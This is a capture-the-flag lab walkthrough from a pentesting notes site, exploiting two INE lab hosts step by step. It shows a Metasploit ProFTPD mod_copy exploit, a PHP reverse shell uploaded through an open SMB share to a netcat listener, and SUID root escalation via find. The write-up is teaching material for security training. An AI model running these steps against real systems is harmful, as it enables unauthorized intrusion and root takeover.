> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/boxes-machines/ine/host-and-network-penetration-testing-exploitation-ctf-3.md).

# Host & Network Penetration Testing: Exploitation CTF 3

This lab focuses on identifying and exploiting vulnerabilities across two target machines. By uncovering weaknesses in services and configurations, you’ll retrieve flags from various locations. Tasks include exploiting vulnerable services, interacting with local network services, leveraging misconfigurations, and performing privilege escalation to access restricted directories.

Two machines are accessible at **target1.ine.local** and **target2.ine.local**. Enumerate the targets, identify and exploit the misconfigurations or vulnerabilities to capture the flags. The flag is in an md5 hash format.

* **Flag 1:** A vulnerable service maybe running on **target1.ine.local**. If exploitable, retrieve the flag from the root directory.
* **Flag 2:** Further, a quick interaction with a local network service on **target1.ine.local** may reveal this flag. Use the hint given in the previous flag.
* **Flag 3:** A misconfigured service running on **target2.ine.local** may help you gain access to the machine. Can you retrieve the flag from the root directory?
* **Flag 4:** Can you escalate to root on **target2.ine.local** and read the flag from the restricted /root directory?

### **Scanning target1.ine.local**

```
┌──(root㉿INE)-[~]
└─# sudo nmap -A target1.ine.local -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-19 19:51 IST
Nmap scan report for target1.ine.local (192.146.6.3)
Host is up (0.000069s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:C0:92:06:03 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/19%OT=21%CT=1%CU=36684%PV=N%DS=1%DC=D%G=Y%M=0242
OS:C0%TM=69455F80%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10D%TI=Z%CI=Z%T
OS:S=A)SEQ(SP=FF%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=FF%GCD=2%ISR=10D%
OS:TI=Z%CI=Z%II=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4
OS:=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7C70%W2=7C70%W3=7C70%W4=7
OS:C70%W5=7C70%W6=7C70)ECN(R=Y%DF=Y%T=40%W=7D78%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y
OS:%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%
OS:A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD
OS:=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   0.07 ms target1.ine.local (192.146.6.3)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.44 seconds
```

we can see that the version 1.3.5 of FTP is running so let’s search for an exploit using SearchSploit.

### Exploiting ProFTPD 1.3.5

```
searchsploit  ProFTPD 
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F3V9IbrECpJuKHUqViFGF%2Fimage.png?alt=media&amp;token=4c983a07-26e1-4fe8-aa26-c4c575413dbf" alt=""><figcaption></figcaption></figure>

let’s load up Metasploit and run the exploit. Note that you will need to change the SITEPATH option as on within the documentation of the web page being hosted on port 80, it says that the root web Apache HTTP server is installed at /var/www/html.

```
msfconsole -q
search ProFTPD 1.3.5
use exploit/unix/ftp/proftpd_modcopy_exec
set rhosts target1.ine.local
set lhost 192.84.104.2
set lport 1122
set SITEPATH /var/www/html
run
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FxJwvP9QiYDYha0pbcdy9%2Fimage.png?alt=media&amp;token=d493f682-3bad-4160-ba12-1887efab69f6" alt=""><figcaption></figcaption></figure>

we can then upgrade our session to a meterpreter session. Navigate to the root directory to get the flag.

```
sessions
sessions -u 1
sessions
sessions -i 2
cd /
ls
cat flag1.txt
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FSmjGBPhphKVqcjJqSkUI%2Fimage.png?alt=media&amp;token=9a647fbe-5241-4f8e-94ba-aba541cb69d1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FXqB8eEfE1v4B8Z0krp16%2Fimage.png?alt=media&amp;token=e68c505c-cade-4cb0-a12a-01206ca96aed" alt=""><figcaption></figcaption></figure>

### **Flag 2:** Further, a quick interaction with a local network service on **target1.ine.local** may reveal this flag. Use the hint given in the previous flag. <a href="#id-3030" id="id-3030"></a>

&#x20;In this flag the target’s local network is vulnerable run the following inside the Meterpreter session to list local services on the target:

```
netstat -ano (Windows)
netstat -tuln 127.0.0.1   (linux)
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FlW685jKeV6rLEMlHLzFV%2Fimage.png?alt=media&amp;token=6b9e726e-b67d-416b-80a5-dee97870def5" alt=""><figcaption></figcaption></figure>

We can see that port 8888 is open so we can interact with it using Netcat. Lets move back to shell.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FP4rcx7eT9zpIGXY2eUVl%2Fimage.png?alt=media&amp;token=43716c6c-9314-4be4-a563-a6533886d14e" alt=""><figcaption></figcaption></figure>

Now we can use netcat to connect to the port.

```
nc 127.0.0.1 8888
```

Since it asks for a password, let’s use the phrase `letmein` as that was the hint from the previous flag and we have the second flag.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FNJI8aD7zOuRPZBfM9Fdc%2Fimage.png?alt=media&amp;token=bc555ede-5c76-409f-8b6f-44a3b7e28f28" alt=""><figcaption></figcaption></figure>

### **Flag 3:** A misconfigured service running on **target2.ine.local** may help you gain access to the machine. Can you retrieve the flag from the root directory? <a href="#id-84bb" id="id-84bb"></a>

In this step again, run an Nmap scan to see what services are running on the target.

```
┌──(root㉿INE)-[~]
└─# sudo nmap -sC -sV target2.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-19 20:08 IST
Nmap scan report for target2.ine.local (192.146.6.4)
Host is up (0.000027s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Can you Pwn me?
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 02:42:C0:92:06:04 (Unknown)

Host script results:
| smb2-time: 
|   date: 2025-12-19T14:38:29
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: TARGET2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds

```

**Check for shared folders as well.** In this case, we can see that the share `site-uploads` is accessible without credentials so let's navigate to that in our web browser

```
smbclient -L target2.ine.local
```

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*kJeUZeC-GMc3qpzX15Hg8w.png" alt="" height="143" width="700"><figcaption></figcaption></figure>

Let us make a reverse shell and upload it.

```
ifconfig
cp /usr/share/webshells/php/php-reverse-shell.php .
ls
mousepad php-reverse-shell.php
```

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*vSs_pb8YzXt6YGaZa-UDAg.png" alt="" height="430" width="700"><figcaption></figcaption></figure>

Please note that when using this PHP reverse shell, you do have to edit some information for it to work. You can use a text editor of your choice (either vim or nano or mousepad). Replace the IP field with your IP address as this is the IP address the shell will connect back to.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*HVMSRm9J7KC8cw-t3-_btg.png" alt="" height="656" width="700"><figcaption></figcaption></figure>

In this step we can then upload it to the server by connecting to it using:

```
smbclient //target2.ine.local/site-uploads
put php-reverse-shell.php
ls
```

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*ks4t0MZ0evBRnqN5ehxIHw.png" alt="" height="252" width="700"><figcaption></figcaption></figure>

In this step we need to set up a listener using Netcat (`nc -lnvp 1234`) to listen for when the shell is executed to obtain a reverse connection.

```
nc -lnvp 1234
```

Now open up the directory in the web browser again and click on the `php-reverse-shell.php` file. Then, head over to your Netcat listener and we have obtained access.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*0EZkmjPctU69sxe4HMoocw.png" alt="" height="319" width="700"><figcaption></figcaption></figure>

In this step, navigate to the root directory to cat out the flag.

```
ls cat flag3.txt
```

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*QI8qlnusIbMLWYsHVr4cCA.png" alt="" height="334" width="700"><figcaption><p>then finally discovered the FLAG3!</p></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:418/1*PD-OPbAZNQ3z5eiuoKGU4w.png" alt="" height="86" width="418"><figcaption></figcaption></figure>

### **Flag 4:** Can you escalate to root on **target2.ine.local** and read the flag from the restricted /root directory? <a href="#efdd" id="efdd"></a>

&#x20;In this step we can use one of these shells to escalate our privileges. However, only a shell with all the permissions will be useful. We also need to check for executables with SetUID bit set that can run with root privileges. The SetUID bit set allows users to execute files with the permissions of the file owner’s (e.g. root) which will allow us to escalate our privileges.

#### Privilege escalation with SUID Binaries

To check for executables with the SetUID bit set that can run with root privileges, we can run the command:

```
find / -perm -4000 2>/dev/null
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FHMjlDzAzBJJ0yUNWAd0X%2Fimage.png?alt=media&amp;token=3c8730b6-1de8-47d6-9516-70381543fc10" alt=""><figcaption></figcaption></figure>

This will essentially start searching in the root directory, look for files with the SetUID bit set (`-perm -4000`). It also suppresses error messages by redirecting them to `/dev/null`.

We can combine the `find` command with an executable to spawn a new shell with root privileges.

```
find . -exec /bin/sh -p \; -quit
```

Now that we have escalated our privileges we can cat out the last flag using `cat /root/flag4.txt`.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*uMLQYQoNHK0Th-IXIptdwg.png" alt="" height="497" width="700"><figcaption><p>Then finally discovered the all FALG!</p></figcaption></figure>
